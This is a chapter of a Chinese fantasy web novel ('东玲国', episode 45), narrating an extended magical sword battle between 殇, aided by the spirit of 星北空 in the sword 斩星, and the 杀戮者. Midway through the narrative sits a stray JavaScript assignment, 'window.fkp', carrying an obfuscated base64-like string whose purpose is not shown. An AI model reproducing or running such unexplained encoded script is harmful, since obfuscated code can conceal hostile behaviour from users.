此刻,幻影巨像消失,杀戮者满血复活。如重生一般,杀戮者身上的所有伤口全都愈合。并且此刻,杀戮者浑身上下散发出血星云之息,其中蕴藏着强大的力量与王者的霸气。面对这种情况,殇整个人都僵住了。他现在想用核心用不了,随身还没携带武器。殇如果想在这种情况下战胜杀戮者,并非做不到,只是难度有点高。 杀戮者在手中变出一个小黑洞,然后轻轻的将它放飞。它升到三十多米的高空时静止下来,突然破裂,从中溢出大量的虚空能量,逐渐在空中形成了漆黑的穹顶。穹顶是半圆形的,扩散的过程就是把一个漆黑的罩子罩在大地上。在扩散完成前的短暂片刻,伊拿着一把剑匆匆向这里赶来。在扩散完成的最后一刻,伊以一个扑倒的姿势进入了穹顶之内。 殇: “伊!你来干什么?这里危险。战斗的事交给男人来,你别来这给我添乱!哦,操......这下你也走不掉了。” 这时,杀戮者单手抡起手中的大刀,用刀锋直指殇。杀戮者的姿势非常霸气,就像一位无人能敌的女武神。 杀戮者: “接下来的战斗,你不可能有一丝胜算!成为我的磨刀石吧,殇。” 此番话一出,殇不由得寒毛直竖、冷汗直流。这是殇第一次在战斗中感觉到恐惧,毕竟失去了核心能力的殇战斗力可以说是只有原来的三成。伊这时感受到了光之种子的指引,有一片光之碎片就在附近。伊感受片刻,突然发现这片碎片竟有两个部分。一个部分离她很近,另一个部分离她很远。她突然之间明白了一切,不由得露出笑容来。这抹笑容是留给星北空的,留个那个如星星一眼的男人。 此刻,漆黑的穹顶之上亮起了许多红色的星星。血光普照大地,阴冷的风在呼啸着。这穹顶是透光的,外面的阳光能照进来,但亮度会微弱一分。接下来,将是一场恶战。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第四十五话:最终奉献 杀戮者: “零之源起,虚空号召。末日之星,即刻启明。我欲屠戮人间于末日,无与敌否甚于神明也!吾是花,杀戮中绽放,末日中飘香。” 杀戮者轮动手中的大刀,飞速来到殇面前就是一刀。殇急忙后撤躲避,杀戮者飞速追上去连击。远处的伊见了,急忙跑上前去,想将手中的剑递给殇。这时,斩星告诉她: “你可以用意念操纵我。“飞剑递人”听说过没?” 伊停下来点了点头,尝试用意念操纵。在伊的操纵下,斩星从她手中飞出,悬浮在了她的面前,果真斩星说得没错。伊见斩星如此听话,不由得露出笑容来。 伊: “太好了!这下可以帮到殇了。” 伊操纵斩星向着殇的方位飞去。斩星如迅雷般急速,不到十秒就飞到了地方。伊操纵斩星,帮助殇挡下一刀,让殇成功脱险。斩星飞来,殇一把接住。殇看向伊,伊对着殇挥手,并大声喊道: “殇!用这个打她!” 殇低头看了看斩星,又抬头看了看伊。伊送来的武器,他很是信赖。殇接纳了斩星剑,这是他仅有的武器了。此刻,斩星剑的剑锋上再次燃起星云烈焰。殇突然眼前一白,随即就看到了幽灵状态下的星北空。 星北空: “很高兴能再次见到你,殇。想不到,我们也有并肩战斗的时候呢。” 殇: “什么?!难不成这把剑里面是你!” 星北空: “对的。我郑重给你介绍一下,你手里的剑名为斩星,是文明方舟之六棋之一鸿之棋的武器。” 殇: “鸿之棋?!难道A苦苦寻找的就是......” 星北空: “殇,先别纠结那些其他的。既然伊小姐将斩星交给了你,那么你就是我在人间最后的影子了。” “什么意思?我有些不明白。难道......” “你的核心被禁用掉了,我能感觉到。接下来,我将为斩星解封,让斩星呈现出最强状态。同时,我会将我这一生全部的力量全部借给你,让你能拥有星辰的力量。有了星辰之力的你,注定是强大的!” “那这样做到代价是什么呢?” “我不知道......也许会让我的灵魂破碎吧。” “那样你会失去所有记忆的!你在转生路口前的那段黄泉......会在无依无靠的痛苦中度过的。而且,即使倒退时间也无法挽救你!” “那样,不也挺好的吗?” “什......什么?” “为了我爱的人、为了我要守护的人、为了我在人间的留恋,这样死去不是很光荣的吗?况且,我一人的死能换来大家以后的安宁与快乐呀!我所留下的一切,能让大家都过上好生活的。” “可是......” “我生命的意义不就是如此吗?为了拯救天下苍生,我去参加了源能核心的研究计划。为了公司、为了理想,我选择默默潜入底层度日,去等待成果出世的那一天。为了守护姐,我动用大量人力物力去为她寻找解药。为了守护姐,我用了这世界仅有的三支源能核心注射剂中的一支去救姐。而剩下那两支,一支我用来强化我的肉体,让我能有资格跟收尾人谈判,从而换来姐的生命!另一支才作为了公司生命的延续。我的一生就是这样的呀,我生命的意义就是这样的呀!” “星北空......这么做,你不后悔吗?” “我不后悔。因为我真的爱她。那份爱,不限于爱情,不限于恩情,不限于这世间的一切界限。我爱她,只是因为她值得我去爱,那是我们的缘分。即便再也无法相见,那我也想用仅有的力量,让她幸福地活着。她是玫瑰一样的女人,是注定要绽放的!” “你小子......继续说下去吧,我听着。” “谢谢。我只不过是个匆匆的过路人,过路时因她停留,默默陪伴她直到下一轮日出,然后当个坏蛋悄悄的离开她。这样做虽是无可奈何,但我仍怀着对她愧意。事实上,绽放时的那份美丽是属于她的,我不过是过路时多看了她一眼罢了。” “星北空,你小子,好样的!我佩服你这样的男人!” “握紧这把斩星吧,这是我最后的力量了。” “我会的!” “在你战斗的过程中,我会在你身旁保护着你的。别担心,我不会让你牺牲的!” “嗯。” “最后,请你在战斗之后不要责怪姐。我知道......姐失去了我会很伤心的。正因如此,姐才会做出如此疯狂的行为。请你大人有大量,给姐一个改过自新的机会吧。” “我不计较那些。我只有一个目标,把薇莉莉重新带回来!” “谢谢你,殇。我们并肩作战吧,我将赐予你星空的力量。让我们把姐带回这个美丽的世界,一起!” “嗯!一起,星北空。” 殇和星北空碰了碰拳,达成了统一意志。这一拳,是永恒的刹那。斩星上的封印解开了,星辰的能量顺着斩星涌入了殇的身体。这一拳之后,星北空的身影化成无数片闪烁的星尘,随着一阵微风飘散在茫茫星海之中。那份决意传承到了殇的手中,由殇接替他未完成的志愿。 殇: “星辰之光,贯彻我心。” 殇的脚下燃起了星云烈焰,刹那间将殇吞噬。片刻之后,星云烈火散去。殇身着星源圣衣、手提附星火斩星剑,以华丽而又帅气的姿态出现在杀戮者眼前。与突变体形态不同,殇的这个形态更加强大。殇的圣衣之上泛起了星光,还有薄薄的星云萦绕身旁;片片闪烁着的星尘从圣衣上飘下,如晚秋时节飘零的落叶,显得分外凄凉。 殇抬起手中的斩星,用剑锋指着杀戮者,显露出十足霸气与决心。杀戮者见到那把剑时,顿时暴怒。杀戮者愤怒地说道: “你竟敢用他的剑!!!不可饶恕!!” 殇没有露出半点恐惧,反而听到这话后更加坚定自己的决意。殇十分霸气地说道: “我今天就要她带回来,你休想拦住我。” 在殇的意识深处,有个声音跟他说了一样的话。听到彼此的声音,两人彼此之间的纽带愈发坚固,两人那颗炙热的心也愈发炎热起来。殇当年青春时的一腔热血,此刻被星北空带了回来。如同返老还童一般,殇更加珍视这次并肩战斗的机会。 殇摆出战斗架势,让星火在剑锋上肆意燃烧。银河的浩瀚压缩成璀璨的星光,在剑锋燃烧的星云之中温柔地散发出来。 殇和星北空: “我,殇(星北空),以星河之名,命令你退下!” 说完,殇握紧手中的斩星,化身流星疾步前冲,以迅雷般的速度靠近杀戮者。杀戮者也不甘示弱,化身红色闪电向前冲锋,以更快的速度靠近对方。刀剑碰撞,迸发出激烈的火花。殇与杀戮者对砍,各显奇招。刺剑拼大刀,实力悬殊的较量。 杀戮者的刀刃上喷涌出血妖之火,一轮猛烈的攻击随后展开。杀戮者单手抡大刀,一左一右两记横扫,又一个回旋斩,再一个向前突刺,这一系列动作只用了五秒钟。殇勉强招架下来这招,随即猛烈还击,突进二连斩加一记突刺。杀戮者轻松挡下,还在招架最后突刺的时候对殇一个回旋下劈,殇后撤躲避,差点就劈中了殇。杀戮者趁此机会,抡起大刀正要劈砍,殇上前假动作骗她提前出刀,杀戮者随即打出一套华丽的五连斩。最后一斩,杀戮者一跃而起空中转体两周,对着地面的殇一个裂地斩打来。殇迅速躲避,趁机绕到她身后。殇对着她后背砍了一剑,这一剑的威力似乎非常巨大,杀戮者直接趴到在地。 殇正想上前去补刀,但杀戮者一个前空翻起身,然后转过身来就是几刀。殇招架下这几刀,最后一刀挥完,杀戮者跑到殇面前一脚踢出,给殇踢出去三四米。随即,杀戮者后撤十几步,与殇拉开了距离。杀戮者将大刀插在地面上,对一旁伸出了手。能量护罩升起,强大的能量穿梭在穹顶之下。 杀戮者: “影流之雷!” 地面上出现了许多发着白光的光点,每个光点周围都环绕着红色闪电。这些光点只亮了刹那,许多道威力巨大的雷电便从其中劈出,劈向穹顶。雷电杀阵生成,场上的殇和伊不由得小心翼翼起来。殇在光点之间的缝隙里穿梭,他的眼睛死死地盯着地面。劈出的雷电犹如一颗颗神圣的巨树,不可靠近更不侵犯。在这样的森林里穿行,就好像在刀尖上行走。殇在穿行的时候悄悄靠近杀戮者,只待这雷电杀阵解除的一瞬间给她来上一刀。 十五秒的持续雷击之后,光点不再出现,雷电杀阵自行解除。杀戮者身上的能量护盾解除,杀戮者敏锐地察觉到了背后的殇,于是立马转身挥出一刀,将殇逼退。杀戮者攻击频率变快了些许,招式更加多种多样。殇与杀戮者的距离被牢牢限制在了十五米以内,若两人之间的距离超过十五米,杀戮者就会轮动大剑,一个飞跃用出裂地斩来追击殇,就怕殇跑掉或耍阴招。杀戮者与殇近距离对砍,殇有些占下风,但猛烈的攻击总有致命的破绽,殇总能找到杀戮者的破绽,让局势出现片刻的逆转。 使用斩星的时候,殇逐渐能领悟斩星的奥妙。殇也能用出星北空曾用出的招式,不过这样做会激怒杀戮者。殇在战斗的过程中,也逐渐领悟出了斩星的新招式。 殇: “流星进击!” 殇一个转身,回旋飞跃到空中,剑锋对准杀戮者,化身飞星向杀戮者突进。杀戮者招架下来,被击中后退了一步。殇落地后后撤三步,然后向前疾驰三步,杀戮者见了迎面挥出一刀。殇迅速停步,下压身体飞速跳起,躲开这一刀。跳到半空,殇一个锐角突刺快速落地,精准落在杀戮者的身后。在杀戮者未反应过来之时,殇快速转身对杀戮者背后又来了一剑。 谁知杀戮者突然转身,对着殇就是一刀,然后迅速对殇穿腹猛刺,拔出刀后抡过头顶狠狠地劈了下来。殇本能反应横刀招架,被这一刀打退出去七八米,这才没被这一套连招打到死。殇快速起身,忍着身上的剧痛,继续握着剑战斗。 殇: “好家伙,两刀下去我都快没命了。好在最后防住了那一刀,不然我可就要‘脱离战线’了。” 星北空: “你还能战斗吗?殇。如果战斗不下去的话就不要勉强了。” 殇: “没事。我这身体再愈能力强,我还能战斗!答应你的事,我肯定会做到的。真男人,不惧艰难险阻。” 星北空: “那你小心。姐的攻击力非常非常高,就连这身圣衣能被轻易打穿。” 杀戮者张开背后的血影之翼,一跃而起飞到空中,在半空中悬浮。杀戮者双手握紧刀柄,刀锋对准天空。二十五个红色光点环绕在杀戮者周围,每个光点都在向外发射着一条红色的光线。与此同时,以杀戮者为中心,一个半径约有二十米的光环出现在地面上。面对这种情况,殇从容面对。无论杀戮者耍什么花招,他都破解的办法。 杀戮者: “末世警戒线·破灭!” 这些光点躁动起来,开始无规律地乱动。某一时刻,这些光点突然停下,随后它们所发射的红色光线瞬间变成高温切割射线,原本人畜无害瞬间变得极度危险。顷刻间,射线贯穿地面,地面上被烧出了星星点点的红点。殇从一开始就提防着这些光线,因此在第一轮扫射时他相安无事。一轮扫射结束,第二轮很快开始。有了第一轮的经验,接下来的几轮殇都安全躲过去。 但一味的躲避是不行的,殇决定主动进攻。殇在他的手和斩星之间生成了一条星界锁链,并倾注能量使其边长。殇快速甩动手中的锁链,让锁链拉着斩星高速旋转。又一轮扫射到来,殇见缝插针,灵活地躲避那些致命射线,并快速向着杀戮者靠近。斩星上的星云烈焰燃烧得越来越猛烈,斩星剑的剑刃逐渐被星云烈焰扩充边长。在距离合适的时候,殇连续转身三周,用力甩出斩星。 殇: “拉尼凯亚鞭刃!” 斩星剑在空中划过了一条美丽的弧线,运动轨迹上还留下了灿烂的星云,其中有着无数颗星正在闪烁。弧线之末,杀戮者身前。这一击迅速而有力地击中了杀戮者,并对其造成了重创。这一击之后,杀戮者落地,那些光点也随之消失。杀戮者落地后快速起身,收起了身后的血影之翼。 杀戮者用力挥动手中的大刀,这把刀大刀一分为二,短刃短柄那部分向着殇飞来。短刃短柄那部分名为辰光,是燃烧着赤色星云烈火的。辰光对着殇猛烈攻击,回旋斩、突刺、下劈等招式层出不穷,犹如一把有着自主意识的刀。杀戮者在一旁也不闲着,对着殇猛烈攻击,两者配合起来殇应对有些吃力。好在星北空告诉了殇一招,这才缓解了局势。殇意念操纵斩星旋转,星界锁链连接剑柄,像操纵悠悠球一样操纵斩星。殇灵活甩动斩星,用意念控制斩星的方向与状态,以华丽的姿态招架下杀戮者每一招。 这时,杀戮者见单刀单人作战没了优势,就将手中的破灭之锋扔出,使用双刀单人作战的战术。手上没了武器,她汇聚能量变出一柄柄环绕她旋转的战争投枪,抓起其中一柄,预瞄一下,就狠狠地投出。 杀戮者: “殷红魔刺·开膛!” 一柄战争投枪向殇飞来,殇用斩星砍碎。投枪破碎,殇的周围出现五把战争投枪环绕着他,片刻后枪头都对准脸上,向着殇刺了过来。杀戮者零活移动,在不同的方向向殇投出投枪,攻击频率极高,殇快速反应,快速躲避。双刀的进攻被殇压制,甚至可以说反制,所以殇可以专心去躲这一柄柄飞来的投枪,不用担心深陷围攻中。抓准杀戮者攻击的间隙,殇将斩星拉回到手中,让银河燃烧得更加猛烈。几柄投枪飞来,破灭之锋和辰光也向着他飞来。 殇: “星宇碾阵杀!” 殇掐准机会,一个回旋甩出手中的斩星,随即全神贯注地去操纵斩星。嗖嗖几下,斩星先是打飞了辰光,一个反弹又打飞破灭之锋,然后飞到飞来的投枪前,回弹在其之间并进行连环斩切,最后以一个弧线飞向了杀戮者,赶在她扔出下一柄投枪前砍中了她。这一下没完,殇转身伸手生成星界锁链,连续挥动星界锁链对着杀戮者又斩两剑。这时破灭之锋和辰光从殇背后袭来,殇及时反应过来,连续闪躲全部躲开。 破灭之锋回到杀戮者手中,辰光一个回旋与破灭之锋合二为一。杀戮者此刻愤怒至极,遭受如此攻击之后的她要猛烈还击,让殇死无葬身之地。杀戮者愤怒地一甩手,场地上顿时间弥漫起浓厚的血雾。杀戮者的身影在血雾中逐渐模糊,在殇彻底看不清她前,杀戮者召唤出七个分身,而后四散在血雾之中。曾经的招式又来了一边,但这次更加危险。 杀戮者: “血雾弥漫·梦魇!” 殇闭上眼睛,聆听着周围的风吹草动。这时,斩星施加范围标记术,以殇为中心生成半径约为七米的一个星环。只要是踏入星环的运动物体,都将被施加特殊标记,从而起到预防致命杀招的作用。杀戮者的分身们群起而攻之,从四面八方以不同的速度向殇疾驰而来。进入星环内,她们被加以标记,殇从而顺利躲开她们的每样攻击。殇很灵活,但架不住人太多,殇在躲避与招架攻击时不时会被侧边或背后的敌人攻击到。 短暂的躲避之后,殇摸清了她们攻击的规律。殇开始小圈跑,她们就在后面追,有的突进而来试图拦截殇,但总能被殇给完美躲开。殇握紧斩星,在跑的过程中为其蓄能。在时机合适的刹那,殇停下脚步,杀戮者极其那些分身一拥而上,挥舞大刀要将殇砍成肉沫。殇临危不惧,此刻他已经想好了破招之招。 殇: “空裂斩!斩星决!” 殇一跃而起来到半空,高举斩星一个下劈砸地。顿时,一圈星火从地面中喷涌而出,瞬间击退杀戮者及其分身。落地后,殇轮动斩星,将星火汇聚成巨剑剑刃,随即释放出一记威力巨大的旋风斩。剑刃旋转,卷动星火旋风,顿时星火喷涌,无数颗飞星从中飞出。刷的一下,血雾退散,光芒重归。杀戮者躲避不及,被斩中了两剑,还被击飞出去七八米。 殇乘胜追击,在旋风斩停顿那一刻,殇一跃而起,在空中转体三周,然后用斩星重重地劈了杀戮者一剑。杀戮者生成能量护盾,还横刀招架。这一剑威力巨大,一剑劈碎能量护盾,又一剑将杀戮者再次击飞出去。若不是杀戮者手中的大刀足够坚挺,这时战斗就已经是结束了。 杀戮者落地之后露出一抹阴森的笑容,她看向殇,轻轻地鼓了鼓掌。殇见了,马上上前去追击。可殇脚没迈出一步,就某种强大的力量定在了原地。四个血色科技环组成的球笼出现,将殇牢牢地囚禁在其中。殇现在是动弹不得,就连转头都做不到。 杀戮者: “血影囚笼!” 殇的身上出现了许多黑色的锁链,这些锁链牢牢捆绑住了殇,让本就动弹不得的殇更是雪上加霜。杀戮者高傲地提着大刀向殇走来,走到球笼前时她凝视着殇,眼神中有说不出的愤恨。 杀戮者: “尔等无名鼠辈,敢挑战圣望者。呵......无理者,狂妄之罪无以礼智,是有罪与吾等至尊。此等傲慢,怎可赦也?杀!” 杀戮者汇集能量于刀锋之上,对着殇挥出一记无情的处决斩。斩星在此刻飞出殇的手心,横在殇的身躯为殇尽可能多的挡下伤害。红影划过,留下一道血痕;天明刹那,血光照耀大地;血妖之火撩动狂风,吹起地面上的点点凋零之息。这一刀,斩碎球笼与锁链,释放出了大量的能量。清脆的金属碰撞声之后,殇被击飞出去三十多米,直接一下扎进废墟之中,当当几下砸穿了好几面墙壁。 远处的伊见了,急忙伸出手来,用光之种子感应殇的存在。废墟之中,传来了微微的回应。殇还活着,伊不由得松了口气。她伸出手来,用光之种子对殇进行治愈。虽然距离遥远,但她的治疗能力依旧能有些作用。为了加大治疗效果,伊顶着被杀戮者杀死的风险,一步一步地向着场地中心靠近。杀戮者自然是注意到了她,但杀戮者念在一丝仅有的人性,就没去理会她。杀戮者将能量汇聚在全身,开始进行形态的切换。 在废墟之中,殇缓缓起身。起身后,殇往地上吐了口鲜血。此时,殇身负重伤,不仅是身上多了一道中间断了一截的裂痕,而且体内的五脏六腑都有不同程度损伤。殇这时感觉到自己的伤口正在愈合,但愈合的速度不够快,不能让他快速恢复状态。即使是这样,殇仍握着斩星,他还不放弃。 星北空: “殇,你快不行了!别继续战斗了,趁现在找机会跑吧。为了我失去性命就不值得了啊!” 殇: “你小子说什么丧气话呢?既然答应了你,怎有毁约之言呢?” 星北空: “我明白了......殇。那我们就继续战斗下去吧!我把斩星的一部分力量转化成治愈能量,给你治疗。” 殇: “不用了。只有在这种绝境里,我才能爆发出我真正的实力。那份曾作为王......才拥有的力量。全身心地投入到战斗力吧,让斩星上的烈火燃烧得更加猛烈吧!” 星北空: “知道了!殇。” 殇的身上泛起了紫色的闪电,强大的能量涌动在殇的静脉之中,随血液遍布全身。一腔热血,在此刻才真正沸腾!曾经的那个王,又找回了当年的那份热血。那是他逝去的青春,那是他不灭的执念。两颗灵魂并肩在一起,一颗是星辰,一颗是烈火。星辰下是温柔的沃野,沃野上开着花朵。烈火下是铜墙铁壁,铜墙铁壁之内是森林。 殇: “堕落力量,激活!” 忍受着疼痛,承受着痛苦,殇的心如火焰般燃烧。一个简单的理由,一句简单的承诺,激活他尘封多年的热血。强大的核心能量犹如一头巨龙,击碎未知能量形成的迷雾,将他的核心唤醒。他全部的核心能量汇聚在剑锋之上,剑锋上燃烧着的浩瀚银河在此刻爆发出耀眼星光。 殇: “我会把她带回来的,一定会的!就是神来了,也阻挡不了......” 殇顿了一下,然后他和星北空异口同声地说道: “我们的步伐!” 殇高举斩星,吸收来自星空的能量。吸收完能量,殇缓缓走出废墟,来到了杀戮者眼前。 见到殇走出废墟,伊高兴地拍拍手,然后伸出双手来给殇治疗。 此时杀戮者身上的外骨骼装甲已经变了样子,上面多了更多的装饰,杀戮者看起来更加帅气了。见到杀戮者的一瞬间,殇抬起剑用剑锋指着她,十分霸气地说: “王殇之翼,所向披靡!” 杀戮者一听,轻蔑一笑,随即抡起手中的大刀,二话不说就上前开干。杀戮者低估了殇的实力,殇此刻可是最强状态。殇从容应敌,展现出帝王的风范。殇高举斩星,让银河燃烧得更加猛烈。殇轻轻挥动斩星,银河凝聚成锋,刺剑变成长剑。 杀戮者: “血染四海,遍地尸骸!” 杀戮者飞速来到面前,对着殇飞速挥出好几刀来,刀锋划过时留下刀光之多让人眼花缭乱。殇以更快的速度甩剑招架,一招一式都是绝对的霸气,每一剑都是殇苦日修炼的成果。两人的攻击速度越来越快,攻击招式越来越多。刀光剑影多如神仙斗法,碰撞时的闪烁赛过群星之快。金属碰撞声清脆而又嘹亮,如同在奏乐一般。在这种氛围之下,让人既紧张又激动。 两人的近距离对拼不分高低、不分输赢,十分激烈而又变幻莫测。有一方变招,对方就使出破招之技,或是用同类型的招数进行较量。渐渐地,连斩对刀变成连刺对拼,过一会又变成移动对斩,再过一会两人彼此远离,变成骑兵式对决;两人飞速冲向对方,在靠近彼此的那一刻使出致命一击。两人是使出了浑身解数,谁也不肯服输或先做出退让,都想着击败对方。 某一刹那,殇找到了一个空挡。他趁此机会,使出了一记致命杀招。 殇: “星辰进击·五连斩!” 殇疾驰杀向杀戮者,杀戮者也疾驰杀向他。等他凑近杀戮者之时,他大幅度甩剑劈砍杀戮者;一刀突进横扫,两刀斜向斩击,三刀斜向半身斩击,四刀突进回旋斩,五刀飞跃下劈砍。杀戮者以攻为守,连砍五刀完全招架下殇的攻击。杀戮者在殇落地时用出七连斩,殇也用同样的方式全数招架。这时候,杀戮者跳起一个下劈打来,殇后撤三步躲开。杀戮者落地后迅速抬刀三连刺,打得是出其不意,但殇还是用灵活的身法全部躲开了。打完这招,杀戮者张开血影之翼,一下子飞到空中。她扔出手中的大刀,让大刀进入自主攻击形态。 这时,杀戮者高举双手,生成能量护罩包裹自己,然后开始在头顶汇聚能量。殇见此,随手一剑放出一道剑气,竟被那能量护罩给吸收。殇明白这个状态的杀戮者打不得,所以开始酝酿其他远距离招式,准备在杀戮者解除护罩之时给予她致命打击。殇一边躲避大刀的攻击一边汇聚能量,短暂的几秒之后,殇的背后出现了一排星光利剑。斩星操纵其中三把,让那三把剑去应对大刀的攻击。 突然,血色的光芒染红了地面,让穹顶之下每处地方都充斥着血色。三把巨大的红色旋刃出现在杀戮者头顶,在杀戮者意识的操纵下各自开始旋转。同时间,大刀飞回杀戮者身旁,并在她身旁划出了一道黑色虚空裂缝。片刻后,三十颗血红的飞星从其中飞出,并环绕在杀戮者的周围。大刀飞向殇,被三把星辰利刃阻拦。凝望着天空中的旋刃与杀戮者身上的飞星,殇感觉到了一丝不妙,接下来的攻击一定是他难以想象的猛烈。 杀戮者: “戮世旋刃·血玫瑰!” 三把旋刃彼此分离,慢慢落在了地上。随即旋刃开始高速旋转,开始无规律地乱飞。一圈红色光环限制了旋刃的移动,也让旋刃命中殇的概率更大了。旋刃袭来,殇靠飞跃与灵巧的身法躲避。但要仅是这样,殇应对这招还是很轻松。但是,空中的杀戮者可不会袖手旁观。杀戮者抓起其中一颗飞星,向着任意一个方向扔出。如之前那般,飞星炸裂后会溅射出很多血影匕首来,而且飞星的数量众多,它们的爆裂就如放烟花一样,无序而所以致命。如骤雨般从四面八方袭来的血影匕首,加上地面上飞速移动的收割旋刃,如此密集而又致命的攻击让殇瞠目结舌。 殇的功底的确可以让殇全部躲掉这些攻击,但那是很不合算的举动。殇觉得,与其躲避不如以攻为守,用猛烈的攻击招架这些疯狂的攻击。殇汇聚能量,找准合适的机会,一把扔出了斩星。离手之后,殇用意念操纵斩星,让其化身为回旋的旋刃。 殇: “以气驭剑,去!” 斩星的转速飞速增加,五秒之内加速到肉眼难以识别的速度,达到了肉眼只能看得清喷涌星火的残影的程度。斩星此刻迸发出银河之光,一道道波光剑气从中飞出,飞向四面八方。殇操纵斩星,飞速斩切迎面袭来的血影匕首,同时释放的剑气还抵消了更多的血影匕首。二百七十度范围之内,密集的攻击全部被挡下。殇此刻立于不败之地,任何攻击都不能近他的身,除了那三把旋刃。 这个时候,杀戮者抬高双手,那三把旋刃随即升起。三把旋刃如三个涡旋一样,开始靠近彼此,最后在杀戮者头顶合体成为一个边缘血红的黑洞。杀戮者高举这个黑洞,往上一飞,重重地向地面砸来。黑洞接触地面,强大的能量瞬间贯穿穹顶之下的每寸土地,同时大地开始剧烈颤抖。杀戮者望着这一切,默默地唤回了自己的大刀。杀戮者抬起刀来,对着地面用力一挥,那个黑洞瞬间发出耀眼的白光,随即开始破裂。 杀戮者: “血玫瑰,绽放!” 一声震天响的爆炸,地面上顿时间被炸出一个大坑,无数血影匕首从爆炸中心处迸发而出,向着四面八方尽情抛洒。殇用回旋的斩星挡下了飞来的匕首,伊则是用光之剑拼成盾牌挡下了袭来的匕首。爆炸之后,杀戮者趁殇还处在惊魂未定的状态之中,偷偷发起了一轮猛烈的攻势。她扔出破灭之锋·辰光,让其进入了暴走模式。她将能量汇聚在双手之上,随即两把血色利爪出现。虚空的能量汇聚在利爪和大刀上,血妖之火裹挟着虚空之息猛烈燃烧在它们之上。她接下来的攻击将是极为致命的。 杀戮者: “狱之爪牙!” 杀戮者和大刀飞向殇,然后从两个方向去攻击殇。出手之时,锐利的锋划开空间,撕裂出炙热的虚空。殇见此不由得疾步而行,并敏锐的注视杀戮者和那把大刀。殇在三维方面进行灵巧的躲避,殇每一次成功的躲避都伴随着心惊胆战与冷汗飞洒。十几轮攻击下来,殇安然无恙,但他周遭的空间遭到了严重破坏,所幸只是暂时的。这轮攻击打了空,杀戮者自然是不甘。所以在她落地后,立马准备用出下一招。但殇怎会给她机会! 殇挥动斩星,操纵星辰利剑去攻击杀戮者,同时殇积蓄能量,准备使用一记致命的杀招。星辰利剑们如流星一般飞速袭来,在逼近杀戮者时改变阵型,以环绕式进攻为主,对着杀戮者一轮乱斩。这种攻击对于杀戮者来说是小儿科,她只是轻轻几刀打出,这些利剑就全化作破碎的镜片,哗啦碎落一地。这时候,殇的那一招已经准备就绪。 殇: “以星为翼,贯穿星河!” 殇化作流星,如飞一样突进到杀戮者面前,用力刺出了致命的一剑。这一剑杀戮者始料未及,未来得及反应就直接正面接下。这一剑威力十分巨大,命中杀戮者的瞬间引发了小范围能量爆炸。轰的一声,爆炸撕裂周围的地面,无数碎石被震得飞了起来。这一剑,剑锋击穿护甲,直击肉身深处,鲜血直接飞溅了出来。这一剑可谓是对杀戮者造成了极大的损伤,杀戮者的嘴角都流出了几滴鲜血。 殇拔出利剑,一个转身斜向劈砍又是一剑。杀戮者反应过来,猛烈还击,短暂的交锋过后,杀戮者以猛烈的攻击将殇击退出去,并追上去补了一刀以示愤怒。挨下这一刀,殇受伤不轻。此刻胜利天平已经倾倒,殇见到了胜利的希望,见到星北空的那张笑脸。殇忍住疼痛,握紧斩星,然后手拂过斩星的剑锋,用力一甩斩星,让星光更加璀璨。 这时,杀戮者生成能量护罩,她身上泛起了跃动的、狂躁的红色闪电。她愤怒无比,每一个表情细节之中都在透露着她的愤怒与仇恨。她全身从上到下都散发着杀气,那种对杀戮的渴望与反抗规则的勇气,还同那啥事一起在她身上疯狂泛滥着。她偏执的心,带来她意识的腐化,催生了一根根束缚着她的提线。她此刻就如傀儡一样,被那幕后的主谋操纵,是那可悲的牺牲品之一。 杀戮者轮动大刀,后撤几步与殇来开距离。能量在刀锋上汇聚,幻影巨刃即刻生成。血影之翼在此刻张开,在她背后使劲的扑腾着。杀戮者动用了自己全部的能量,准备用这一招中彻底结束战斗。接下来的攻击,殇若是被打中一下,定会当场肉身怀灭,甚至连本体的那个核心都可能直接消失。周围的亮度骤降,杀戮者身上的红光愈发闪烁。 周围的空气变得富有能量起来,空气的温度正逐渐逼近零点。 亮度突然猛增,杀戮者此刻发动了进攻。 杀戮者: “血色黎明·人间炼狱!” 杀戮者抡起大刀,一个威力巨大、声势浩大的旋风斩打出。一把长有二十多米红色巨刃飞速划过地面,顿时掀起八尺之高温红色气浪,卷动一阵阴凉至极的飓风。其景象震撼无比,殇惊得一时说不出话来。殇一跃而起跳到空中躲开了这一刀。殇落地之时,也正好是这一刀挥完的时候。挥完这一刀,那红色巨刃便消失了。殇以为这就完了,但实则不然。殇落地后刚站稳脚跟,数不清的红色雷电从天空中劈下,对地面就是一轮猛击。顿时间雷光闪烁,雷声大作,霹雳不止。三轮落雷之后,就没有落雷劈下了。 星北空: “哇塞!姐好厉害呀。” 殇: “喂!你小子是站那边的?” 星北空: “赞美一下,不要介意。你也很帅的,殇。” 殇: “你知道就行。” 劈完雷,杀戮者身前突然虚空汇聚,一把长有三十多米黑色巨刃出现。嗖的一下,巨刃飞速划过地面,顿时掀起十二尺之高的黑色气浪,气浪中还附带虚空火焰,同时卷动一阵更加猛烈的飓风,吹来生命凋零的气息。其景象更加震撼,殇不由得感叹杀戮者的招式之狠。巨刃连挥三圈,第一圈殇跳起到高空之中躲避,第二圈殇飞跃到空中一个后空翻躲避,第三圈殇在边缘一个后撤步躲避。 躲完这些之时,杀戮者猛地一跺脚,地面上出现一个个黑色尖刺,随即虚空火焰从中向天空喷涌而出,顿时升起无数根黑柱。殇见此快速躲避,片刻后这些黑柱消散。跺完脚,杀戮者抡起大刀转了两圈,喷涌出虚空火焰汇聚在了她手中的大刀上。长度足足有十八米长的虚空之锋呈现在杀戮者的刀上,那气势别说有浩荡了。杀戮者一个疾步前冲,掐准距离一个高跳飞跃而来。她高举手中的大刀,对着殇狠狠地劈来。 轰的一声,刀锋猛击地面,地面剧烈震动,如同一颗陨石落在地面。殇大幅度侧闪躲开了这一刀,这一刀来的迅速,对于殇来说可谓是有惊无险。刀锋劈下后的刹那之后,无数道黑色的爆裂魔弹从空中落下,用爆炸对地面进行洗礼。殇操纵斩星空中拦截那些魔弹,为自己造就了一片安全区。短暂的洗礼过后,杀戮者故技重施,又是同样的两刀砍出。殇灵巧躲避,善用斩星去减少危险,使得自己能无伤躲掉杀戮者的这一招。 